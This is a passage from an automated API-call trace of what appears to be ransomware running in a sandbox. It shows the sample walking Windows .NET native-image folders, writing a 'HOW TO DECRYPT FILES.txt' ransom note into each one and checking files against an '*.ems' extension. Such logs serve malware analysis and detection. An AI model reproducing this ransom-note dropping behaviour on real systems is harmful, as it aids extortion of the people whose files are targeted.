dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Printing.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.762] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.762] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Printing.ni.dll") returned -1 [0112.762] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Printing.ni.dll") returned -1 [0112.762] lstrcmpiA (lpString1="", lpString2="System.Printing.ni.dll") returned -1 [0112.762] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Printing\\8a2376658a24628765d359a0fafb3339\\*.*") returned="*.*" [0112.762] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Printing\\8a2376658a24628765d359a0fafb3339\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Printing\\8a2376658a24628765d359a0fafb3339\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Printing\\8a2376658a24628765d359a0fafb3339\\" [0112.762] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Printing\\8a2376658a24628765d359a0fafb3339\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Printing\\8a2376658a24628765d359a0fafb3339\\") returned="" [0112.762] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Printing\\8a2376658a24628765d359a0fafb3339\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Printing\\8a2376658a24628765d359a0fafb3339\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Printing\\8a2376658a24628765d359a0fafb3339\\HOW TO DECRYPT FILES.txt" [0112.762] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Printing\\8a2376658a24628765d359a0fafb3339\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.printing\\8a2376658a24628765d359a0fafb3339\\how to decrypt files.txt")) returned 0xffffffff [0112.762] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Printing\\8a2376658a24628765d359a0fafb3339\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.printing\\8a2376658a24628765d359a0fafb3339\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.764] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.764] CloseHandle (hObject=0x90) returned 1 [0112.764] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Printing\\8a2376658a24628765d359a0fafb3339\\", lpString2="System.Printing.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Printing\\8a2376658a24628765d359a0fafb3339\\System.Printing.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Printing\\8a2376658a24628765d359a0fafb3339\\System.Printing.ni.dll" [0112.764] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Printing\\8a2376658a24628765d359a0fafb3339\\System.Printing.ni.dll", pszSpec="*.ems") returned 0 [0112.765] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9281b6ad, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9281b6ad, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9284180d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x165600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Printing.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.765] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.765] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x928d9d8e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x928d9d8e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x928d9d8e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8a2376658a24628765d359a0fafb3339", cAlternateFileName="8A2376~1")) returned 0 [0112.765] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.765] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9be121c1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9be121c1, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9be121c1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Runtime.Remo#", cAlternateFileName="SYSTEM~1.REM")) returned 1 [0112.765] lstrcmpA (lpString1=".", lpString2="System.Runtime.Remo#") returned -1 [0112.765] lstrcmpA (lpString1="..", lpString2="System.Runtime.Remo#") returned -1 [0112.765] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.765] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Runtime.Remo#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Remo#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Remo#" [0112.765] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Remo#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9be121c1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9be121c1, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9be121c1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.766] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.766] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9be121c1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9be121c1, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9be121c1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.766] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.766] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.766] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9be121c1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9be121c1, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9be121c1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0fde44651bdf14a3988b955dd94aa318", cAlternateFileName="0FDE44~1")) returned 1 [0112.766] lstrcmpA (lpString1=".", lpString2="0fde44651bdf14a3988b955dd94aa318") returned -1 [0112.766] lstrcmpA (lpString1="..", lpString2="0fde44651bdf14a3988b955dd94aa318") returned -1 [0112.766] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Remo#\\*.*") returned="*.*" [0112.766] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Remo#\\", lpString2="0fde44651bdf14a3988b955dd94aa318" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Remo#\\0fde44651bdf14a3988b955dd94aa318") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Remo#\\0fde44651bdf14a3988b955dd94aa318" [0112.767] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Remo#\\0fde44651bdf14a3988b955dd94aa318\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9be121c1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9be121c1, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9be121c1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.767] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.767] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9be121c1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9be121c1, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9be121c1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.767] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.767] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.767] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bd9fda0, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9bd9fda0, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9bd9fda0, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xf9c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Runtime.Remoting.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.767] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.767] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Runtime.Remoting.ni.dll") returned -1 [0112.767] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Runtime.Remoting.ni.dll") returned -1 [0112.767] lstrcmpiA (lpString1="", lpString2="System.Runtime.Remoting.ni.dll") returned -1 [0112.767] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Remo#\\0fde44651bdf14a3988b955dd94aa318\\*.*") returned="*.*" [0112.767] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Remo#\\0fde44651bdf14a3988b955dd94aa318\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Remo#\\0fde44651bdf14a3988b955dd94aa318\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Remo#\\0fde44651bdf14a3988b955dd94aa318\\" [0112.767] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Remo#\\0fde44651bdf14a3988b955dd94aa318\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Remo#\\0fde44651bdf14a3988b955dd94aa318\\") returned="" [0112.767] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Remo#\\0fde44651bdf14a3988b955dd94aa318\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Remo#\\0fde44651bdf14a3988b955dd94aa318\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Remo#\\0fde44651bdf14a3988b955dd94aa318\\HOW TO DECRYPT FILES.txt" [0112.767] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Remo#\\0fde44651bdf14a3988b955dd94aa318\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.runtime.remo#\\0fde44651bdf14a3988b955dd94aa318\\how to decrypt files.txt")) returned 0xffffffff [0112.768] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Remo#\\0fde44651bdf14a3988b955dd94aa318\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.runtime.remo#\\0fde44651bdf14a3988b955dd94aa318\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.771] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.772] CloseHandle (hObject=0x90) returned 1 [0112.772] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Remo#\\0fde44651bdf14a3988b955dd94aa318\\", lpString2="System.Runtime.Remoting.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Remo#\\0fde44651bdf14a3988b955dd94aa318\\System.Runtime.Remoting.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Remo#\\0fde44651bdf14a3988b955dd94aa318\\System.Runtime.Remoting.ni.dll" [0112.772] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Remo#\\0fde44651bdf14a3988b955dd94aa318\\System.Runtime.Remoting.ni.dll", pszSpec="*.ems") returned 0 [0112.772] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bd9fda0, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9bd9fda0, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9bd9fda0, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xf9c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Runtime.Remoting.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.772] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.772] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9be121c1, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x9be121c1, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x9be121c1, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0fde44651bdf14a3988b955dd94aa318", cAlternateFileName="0FDE44~1")) returned 0 [0112.772] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.772] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c652e62, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb9cf8f53, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb9cf8f53, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Runtime.Seri#", cAlternateFileName="SYSTEM~1.SER")) returned 1 [0112.772] lstrcmpA (lpString1=".", lpString2="System.Runtime.Seri#") returned -1 [0112.772] lstrcmpA (lpString1="..", lpString2="System.Runtime.Seri#") returned -1 [0112.772] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.772] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Runtime.Seri#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#" [0112.773] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c652e62, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb9cf8f53, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb9cf8f53, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.773] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.773] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c652e62, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb9cf8f53, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb9cf8f53, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.773] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.773] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.773] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb9cf8f53, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb9cf8f53, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb9cf8f53, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="52bdf474b237d949c5b2b407ebec8f1e", cAlternateFileName="52BDF4~1")) returned 1 [0112.773] lstrcmpA (lpString1=".", lpString2="52bdf474b237d949c5b2b407ebec8f1e") returned -1 [0112.773] lstrcmpA (lpString1="..", lpString2="52bdf474b237d949c5b2b407ebec8f1e") returned -1 [0112.773] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\*.*") returned="*.*" [0112.773] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\", lpString2="52bdf474b237d949c5b2b407ebec8f1e" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\52bdf474b237d949c5b2b407ebec8f1e") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\52bdf474b237d949c5b2b407ebec8f1e" [0112.773] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\52bdf474b237d949c5b2b407ebec8f1e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb9cf8f53, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb9cf8f53, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb9cf8f53, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.774] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.774] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb9cf8f53, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb9cf8f53, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb9cf8f53, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.774] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.774] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.774] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9c14712, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb9c14712, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb9c3a872, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Runtime.Serialization.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.774] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.774] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Runtime.Serialization.ni.dll") returned -1 [0112.774] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Runtime.Serialization.ni.dll") returned -1 [0112.774] lstrcmpiA (lpString1="", lpString2="System.Runtime.Serialization.ni.dll") returned -1 [0112.774] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\52bdf474b237d949c5b2b407ebec8f1e\\*.*") returned="*.*" [0112.774] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\52bdf474b237d949c5b2b407ebec8f1e\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\52bdf474b237d949c5b2b407ebec8f1e\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\52bdf474b237d949c5b2b407ebec8f1e\\" [0112.774] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\52bdf474b237d949c5b2b407ebec8f1e\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\52bdf474b237d949c5b2b407ebec8f1e\\") returned="" [0112.774] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\52bdf474b237d949c5b2b407ebec8f1e\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\52bdf474b237d949c5b2b407ebec8f1e\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\52bdf474b237d949c5b2b407ebec8f1e\\HOW TO DECRYPT FILES.txt" [0112.774] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\52bdf474b237d949c5b2b407ebec8f1e\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.runtime.seri#\\52bdf474b237d949c5b2b407ebec8f1e\\how to decrypt files.txt")) returned 0xffffffff [0112.774] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\52bdf474b237d949c5b2b407ebec8f1e\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.runtime.seri#\\52bdf474b237d949c5b2b407ebec8f1e\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.776] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.776] CloseHandle (hObject=0x90) returned 1 [0112.777] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\52bdf474b237d949c5b2b407ebec8f1e\\", lpString2="System.Runtime.Serialization.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\52bdf474b237d949c5b2b407ebec8f1e\\System.Runtime.Serialization.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\52bdf474b237d949c5b2b407ebec8f1e\\System.Runtime.Serialization.ni.dll" [0112.777] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\52bdf474b237d949c5b2b407ebec8f1e\\System.Runtime.Serialization.ni.dll", pszSpec="*.ems") returned 0 [0112.777] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9c14712, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb9c14712, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb9c3a872, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Runtime.Serialization.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.777] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.777] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c652e62, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x7c652e62, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x7c652e62, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, 